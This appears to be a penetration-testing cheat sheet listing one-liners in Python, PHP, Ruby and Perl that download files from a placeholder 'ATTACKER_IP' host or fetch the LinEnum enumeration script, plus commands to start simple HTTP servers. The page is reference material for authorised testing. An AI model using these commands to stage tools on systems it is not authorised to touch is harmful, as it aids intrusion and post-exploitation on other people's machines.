Transferring Files with Code

Use the code to download files

## Python 2
python2.7 -c 'import urllib;urllib.urlretrieve ("https://ATTACKER_IP/filename", "filename")'
## Python 3
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://ATTACKER_IP/filename", "filename")'
## PHP using File_get_contents()
php -r '$file = file_get_contents("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh"); file_put_contents("LinEnum.sh",$file);'
## PHP using Fopen()
php -r 'const BUFFER = 1024; $fremote = 
fopen("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "rb"); $flocal = fopen("LinEnum.sh", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
## Ruby
ruby -e 'require "net/http"; File.write("LinEnum.sh", Net::HTTP.get(URI.parse("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh")))'
## Perl
perl -e 'use LWP::Simple; getstore("https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh", "LinEnum.sh");'

Create servers using code

## Python3
python3 -m http.server
## Python2.7
python2.7 -m SimpleHTTPServer

Using just Python

Last updated